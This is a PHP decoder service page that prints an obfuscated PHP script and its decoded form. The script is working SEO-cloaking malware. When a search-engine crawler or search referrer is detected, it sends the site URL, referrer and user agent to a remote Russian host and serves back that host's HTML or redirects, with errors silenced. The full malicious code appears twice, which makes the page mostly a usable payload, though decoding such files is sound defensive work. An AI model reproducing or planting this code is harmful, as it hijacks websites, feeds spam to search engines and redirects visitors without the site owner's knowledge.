Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6f\x73h\x65\x62\x72\x73"]="\x70\x61\x67e";${"\x47\x4c\x..

Decoded Output download

<?   ${"GLOBALS"}["oshebrs"]="page";${"GLOBALS"}["xxflrcf"]="m";${"GLOBALS"}["ipoiagatfeks"]="scheme";${"GLOBALS"}["lvkxlkojk"]="result";${"GLOBALS"}["jihddlqwm"]="url";${"GLOBALS"}["onvurruwzv"]="ch";@error_reporting(0);if(!function_exists("getUrla")){function getUrla($url){${"GLOBALS"}["tjjrts"]="result";if(function_exists("curl_init")){${"GLOBALS"}["gsmhextt"]="result";${"GLOBALS"}["youuwhbj"]="ch";${${"GLOBALS"}["onvurruwzv"]}=curl_init();${"GLOBALS"}["fseorudoi"]="ch";${"GLOBALS"}["jptgpqj"]="ch";curl_setopt(${${"GLOBALS"}["jptgpqj"]},CURLOPT_URL,${${"GLOBALS"}["jihddlqwm"]});curl_setopt(${${"GLOBALS"}["onvurruwzv"]},CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");curl_setopt(${${"GLOBALS"}["onvurruwzv"]},CURLOPT_TIMEOUT,10);curl_setopt(${${"GLOBALS"}["onvurruwzv"]},CURLOPT_RETURNTRANSFER,true);${${"GLOBALS"}["gsmhextt"]}=curl_exec(${${"GLOBALS"}["fseorudoi"]});curl_close(${${"GLOBALS"}["youuwhbj"]});}else{${${"GLOBALS"}["lvkxlkojk"]}=file_get_contents(${${"GLOBALS"}["jihddlqwm"]});}return${${"GLOBALS"}["tjjrts"]};}}${${"GLOBALS"}["ipoiagatfeks"]}="http://";if(preg_match("#(googlebot|bingbot|yahoo|msnbot|aol)#i",$_SERVER["HTTP_USER_AGENT"])||preg_match("#(google|bing|yahoo|msn|aol)#i",@$_SERVER["HTTP_REFERER"])){$lyvtutqgw="result";$dvdcgfjcurp="result";$lbwsik="result";$bdtsdyajhca="result";${"GLOBALS"}["bnbogt"]="result";${$lyvtutqgw}=getUrla("http://routetheflow.ru/ph/phdms8.php?u=".urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"])."&r=".urlencode(@$_SERVER["HTTP_REFERER"])."&a=".urlencode($_SERVER["HTTP_USER_AGENT"]));if(${${"GLOBALS"}["bnbogt"]}=="IGNORE"){${"GLOBALS"}["rkxivhjbbpqw"]="m";${"GLOBALS"}["ufhkqibgl"]="scheme";if((!empty($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]!=="off")||$_SERVER["SERVER_PORT"]==443)${${"GLOBALS"}["ufhkqibgl"]}="https://";$lzrkjlw="scheme";$eubmtwxmowd="page";${$eubmtwxmowd}=getUrla(${$lzrkjlw}.$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);if(preg_match("#(\.pdf|\.jpg|\.jpeg|\.png|\.gif|\.css|\.js|\.tiff)#i",$_SERVER["REQUEST_URI"],${${"GLOBALS"}["rkxivhjbbpqw"]})){$jgbycpquenj="m";${"GLOBALS"}["aseqpmkn"]="m";$ibnzofeqvjw="m";$lttgeukmcfn="m";switch(${${"GLOBALS"}["xxflrcf"]}[0]){case(preg_match("/(jpg|jpeg)/",${${"GLOBALS"}["xxflrcf"]}[0])?true:false):header("Content-Type: image/jpeg");break;case(preg_match("/pdf/",${${"GLOBALS"}["xxflrcf"]}[0])?true:false):header("Content-Type: application/pdf");break;case(preg_match("/png/",${$jgbycpquenj}[0])?true:false):header("Content-Type: image/png");break;case(preg_match("/gif/",${$ibnzofeqvjw}[0])?true:false):header("Content-Type: image/gif");break;case(preg_match("/tiff/",${$lttgeukmcfn}[0])?true:false):header("Content-Type: application/font-tiff");break;case(preg_match("/css/",${${"GLOBALS"}["xxflrcf"]}[0])?true:false):header("Content-Type: text/css");break;case(preg_match("/\.js/",${${"GLOBALS"}["aseqpmkn"]}[0])?true:false):header("Content-Type: application/x-javascript");break;default:header("Content-Type: text/html");}}echo${${"GLOBALS"}["oshebrs"]};exit;}${$dvdcgfjcurp}=base64_decode(${$lbwsik});${${"GLOBALS"}["lvkxlkojk"]}=unserialize(${${"GLOBALS"}["lvkxlkojk"]});if(isset(${${"GLOBALS"}["lvkxlkojk"]}["location"])&&${$bdtsdyajhca}["location"]!=""){Header("HTTP/1.1 301 Moved Permanently");${"GLOBALS"}["fndkqlc"]="result";$ywbwkoie="result";$gcgsotqciz="result";if(isset(${${"GLOBALS"}["lvkxlkojk"]}["referer"])&&${${"GLOBALS"}["fndkqlc"]}["referer"]!="")Header("Referer: ".${$ywbwkoie}["referer"]);Header("Location: ".${$gcgsotqciz}["location"]);exit;}if(isset(${${"GLOBALS"}["lvkxlkojk"]}["html"])&&${${"GLOBALS"}["lvkxlkojk"]}["html"]!=""){echo${${"GLOBALS"}["lvkxlkojk"]}["html"];exit;}}if(@file_exists("cleaner.php")){include_once("cleaner.php");} ?>

Did this file decode correctly?

Original Code

 ${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6f\x73h\x65\x62\x72\x73"]="\x70\x61\x67e";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x78\x78f\x6cr\x63\x66"]="m";${"G\x4cO\x42\x41\x4cS"}["\x69p\x6f\x69\x61g\x61\x74fe\x6bs"]="\x73\x63\x68e\x6de";${"\x47L\x4f\x42ALS"}["\x6c\x76\x6bxlk\x6fj\x6b"]="r\x65\x73\x75\x6ct";${"G\x4c\x4f\x42A\x4c\x53"}["\x6a\x69\x68\x64dl\x71\x77\x6d"]="\x75\x72l";${"\x47LO\x42\x41L\x53"}["\x6f\x6evu\x72\x72\x75\x77\x7a\x76"]="\x63\x68";@error_reporting(0);if(!function_exists("\x67\x65tUrl\x61")){function getUrla($url){${"GL\x4f\x42A\x4c\x53"}["\x74j\x6a\x72\x74\x73"]="\x72e\x73\x75\x6ct";if(function_exists("\x63url\x5fi\x6eit")){${"\x47L\x4fBAL\x53"}["g\x73mhext\x74"]="\x72\x65s\x75\x6ct";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x79\x6fu\x75whbj"]="\x63\x68";${${"\x47\x4cO\x42\x41L\x53"}["\x6fnvu\x72\x72u\x77\x7a\x76"]}=curl_init();${"\x47L\x4f\x42\x41\x4c\x53"}["\x66\x73eo\x72\x75\x64\x6f\x69"]="c\x68";${"\x47\x4cO\x42A\x4cS"}["jp\x74gp\x71\x6a"]="\x63h";curl_setopt(${${"GL\x4f\x42\x41\x4cS"}["jpt\x67\x70\x71j"]},CURLOPT_URL,${${"\x47\x4c\x4fB\x41\x4c\x53"}["j\x69h\x64\x64l\x71w\x6d"]});curl_setopt(${${"\x47L\x4f\x42\x41L\x53"}["o\x6e\x76\x75\x72ru\x77z\x76"]},CURLOPT_USERAGENT,"Mozi\x6cl\x61/5\x2e0 (\x57indo\x77\x73 \x4eT\x2010\x2e\x30\x3b\x20\x57O\x576\x34)\x20\x41\x70p\x6ceWeb\x4b\x69t/\x353\x37.36\x20(\x4bH\x54ML, l\x69ke \x47ec\x6bo)\x20Chr\x6fm\x65/\x360.\x30.311\x32.\x31\x313 S\x61\x66a\x72i/53\x37\x2e36");curl_setopt(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6f\x6e\x76\x75\x72ru\x77z\x76"]},CURLOPT_TIMEOUT,10);curl_setopt(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x6e\x76\x75r\x72\x75\x77\x7a\x76"]},CURLOPT_RETURNTRANSFER,true);${${"\x47\x4cO\x42A\x4c\x53"}["\x67\x73\x6dh\x65\x78\x74\x74"]}=curl_exec(${${"\x47\x4cO\x42\x41\x4c\x53"}["f\x73\x65\x6f\x72ud\x6fi"]});curl_close(${${"\x47L\x4f\x42\x41\x4c\x53"}["y\x6f\x75\x75\x77\x68b\x6a"]});}else{${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6cvkx\x6c\x6bo\x6a\x6b"]}=file_get_contents(${${"\x47\x4cOB\x41\x4c\x53"}["\x6a\x69h\x64\x64\x6c\x71\x77\x6d"]});}return${${"G\x4cO\x42A\x4c\x53"}["tj\x6a\x72\x74\x73"]};}}${${"GLO\x42A\x4c\x53"}["\x69\x70\x6f\x69a\x67\x61\x74\x66e\x6b\x73"]}="h\x74t\x70://";if(preg_match("\x23(googl\x65b\x6f\x74|\x62in\x67\x62o\x74|y\x61hoo|\x6d\x73\x6ebot|\x61o\x6c)#i",$_SERVER["H\x54\x54\x50_\x55\x53\x45R_\x41\x47EN\x54"])||preg_match("#(\x67\x6fo\x67le|\x62\x69\x6eg|yahoo|m\x73n|\x61\x6f\x6c)\x23i",@$_SERVER["\x48T\x54\x50_\x52\x45F\x45RER"])){$lyvtutqgw="\x72e\x73\x75\x6ct";$dvdcgfjcurp="r\x65\x73\x75\x6c\x74";$lbwsik="\x72\x65sul\x74";$bdtsdyajhca="\x72\x65\x73\x75\x6ct";${"\x47\x4c\x4f\x42A\x4c\x53"}["bn\x62o\x67t"]="\x72\x65\x73u\x6c\x74";${$lyvtutqgw}=getUrla("h\x74\x74p://\x72o\x75\x74e\x74h\x65f\x6co\x77\x2eru/\x70h/\x70\x68d\x6ds\x38\x2e\x70hp?\x75\x3d".urlencode("\x68\x74tp://".$_SERVER["\x48\x54T\x50\x5f\x48\x4fS\x54"].$_SERVER["\x52EQ\x55\x45ST\x5fUR\x49"])."&\x72\x3d".urlencode(@$_SERVER["H\x54\x54\x50_RE\x46\x45\x52\x45R"])."&\x61\x3d".urlencode($_SERVER["\x48\x54T\x50\x5f\x55\x53\x45R\x5f\x41G\x45N\x54"]));if(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x62\x6ebo\x67t"]}=="IGN\x4f\x52\x45"){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x72k\x78\x69\x76\x68jb\x62\x70\x71\x77"]="\x6d";${"\x47\x4cO\x42\x41\x4cS"}["\x75f\x68k\x71\x69b\x67\x6c"]="\x73\x63\x68\x65\x6d\x65";if((!empty($_SERVER["\x48\x54\x54PS"])&&$_SERVER["\x48\x54\x54\x50S"]!=="of\x66")||$_SERVER["\x53\x45R\x56\x45\x52\x5f\x50O\x52\x54"]==443)${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x75fhkq\x69\x62\x67\x6c"]}="\x68\x74tp\x73://";$lzrkjlw="\x73\x63he\x6d\x65";$eubmtwxmowd="\x70\x61\x67\x65";${$eubmtwxmowd}=getUrla(${$lzrkjlw}.$_SERVER["\x48\x54\x54\x50_\x48\x4f\x53\x54"].$_SERVER["\x52E\x51\x55E\x53\x54_\x55\x52\x49"]);if(preg_match("#(\x5c\x2epdf|\\.jp\x67|\\\x2e\x6a\x70eg|\\.\x70\x6eg|\x5c\x2e\x67i\x66|\x5c.\x63\x73s|\\\x2ejs|\\\x2e\x74i\x66\x66)#\x69",$_SERVER["R\x45\x51U\x45\x53\x54_\x55RI"],${${"\x47\x4c\x4fB\x41\x4cS"}["r\x6bx\x69\x76\x68j\x62\x62\x70\x71\x77"]})){$jgbycpquenj="\x6d";${"G\x4c\x4f\x42\x41\x4cS"}["aseq\x70\x6d\x6b\x6e"]="\x6d";$ibnzofeqvjw="m";$lttgeukmcfn="m";switch(${${"\x47\x4cOB\x41\x4c\x53"}["x\x78\x66\x6c\x72cf"]}[0]){case(preg_match("/(jp\x67|jp\x65\x67)/",${${"\x47\x4c\x4f\x42\x41L\x53"}["\x78\x78\x66\x6c\x72\x63\x66"]}[0])?true:false):header("C\x6f\x6et\x65n\x74-\x54\x79p\x65: im\x61\x67e/\x6apeg");break;case(preg_match("/\x70\x64\x66/",${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x78\x66\x6c\x72\x63\x66"]}[0])?true:false):header("\x43\x6fn\x74\x65\x6e\x74-Type: a\x70\x70\x6c\x69c\x61\x74i\x6f\x6e/\x70\x64\x66");break;case(preg_match("/p\x6eg/",${$jgbycpquenj}[0])?true:false):header("\x43\x6f\x6e\x74\x65nt-Ty\x70e:\x20\x69ma\x67e/\x70\x6eg");break;case(preg_match("/g\x69f/",${$ibnzofeqvjw}[0])?true:false):header("\x43on\x74e\x6e\x74-\x54\x79\x70e: i\x6da\x67e/gif");break;case(preg_match("/ti\x66\x66/",${$lttgeukmcfn}[0])?true:false):header("\x43o\x6ete\x6e\x74-T\x79\x70e: \x61\x70\x70\x6c\x69\x63\x61tion/fo\x6et-\x74iff");break;case(preg_match("/\x63ss/",${${"\x47\x4c\x4f\x42\x41L\x53"}["\x78\x78\x66\x6c\x72cf"]}[0])?true:false):header("C\x6f\x6e\x74e\x6e\x74-Typ\x65:\x20\x74ex\x74/\x63\x73\x73");break;case(preg_match("/\\\x2ejs/",${${"\x47LOB\x41\x4c\x53"}["a\x73\x65\x71\x70\x6d\x6b\x6e"]}[0])?true:false):header("C\x6f\x6e\x74\x65\x6e\x74-\x54\x79p\x65:\x20\x61p\x70licati\x6fn/\x78-\x6aa\x76\x61sc\x72ipt");break;default:header("Co\x6ete\x6e\x74-Typ\x65: tex\x74/h\x74ml");}}echo${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6fs\x68e\x62\x72s"]};exit;}${$dvdcgfjcurp}=base64_decode(${$lbwsik});${${"\x47L\x4fB\x41\x4cS"}["\x6c\x76kx\x6ck\x6fjk"]}=unserialize(${${"G\x4c\x4f\x42\x41\x4c\x53"}["l\x76\x6b\x78\x6c\x6b\x6f\x6a\x6b"]});if(isset(${${"G\x4c\x4f\x42\x41\x4cS"}["\x6c\x76\x6bx\x6ckoj\x6b"]}["l\x6f\x63a\x74ion"])&&${$bdtsdyajhca}["lo\x63atio\x6e"]!=""){Header("\x48\x54T\x50/1.\x31\x20\x330\x31\x20M\x6f\x76e\x64 \x50e\x72\x6dan\x65ntly");${"G\x4cOB\x41\x4c\x53"}["f\x6edk\x71\x6c\x63"]="\x72\x65\x73\x75\x6c\x74";$ywbwkoie="\x72\x65\x73\x75lt";$gcgsotqciz="\x72\x65sul\x74";if(isset(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6cvk\x78l\x6b\x6f\x6a\x6b"]}["\x72e\x66e\x72\x65r"])&&${${"\x47\x4cO\x42AL\x53"}["f\x6e\x64\x6bql\x63"]}["ref\x65r\x65\x72"]!="")Header("Re\x66\x65\x72e\x72:\x20".${$ywbwkoie}["r\x65fer\x65\x72"]);Header("\x4c\x6fc\x61t\x69\x6fn: ".${$gcgsotqciz}["\x6c\x6fc\x61t\x69on"]);exit;}if(isset(${${"\x47LO\x42\x41\x4cS"}["lvk\x78\x6c\x6bojk"]}["\x68\x74\x6dl"])&&${${"GL\x4fB\x41\x4c\x53"}["l\x76\x6b\x78lk\x6f\x6a\x6b"]}["\x68\x74\x6dl"]!=""){echo${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6c\x76\x6b\x78\x6ck\x6f\x6a\x6b"]}["h\x74\x6dl"];exit;}}if(@file_exists("cl\x65\x61\x6e\x65r.ph\x70")){include_once("\x63l\x65\x61ner.p\x68p");}

Function Calls

urlencode 1
preg_match 2
error_reporting 1
function_exists 1

Variables

scheme http://
$lbwsik result
GLOBALS [{'key': 'oshebrs', 'value': 'page'}, {'key': 'xxflrcf', 'value': 'm'}, {'key': 'ipoiagatfeks', 'value': 'scheme'}, {'key': 'lvkxlkojk', 'value': 'result'}, {'key': 'jihddlqwm', 'value': 'url'}, {'key': 'onvurruwzv', 'value': 'ch'}, {'key': 'bnbogt', 'value': 'result'}]
$lyvtutqgw result
$bdtsdyajhca result
$dvdcgfjcurp result

Stats

MD5 d3bbccf878978e7eff6dca89e460bdc1
Eval Count 0
Decode Time 166 ms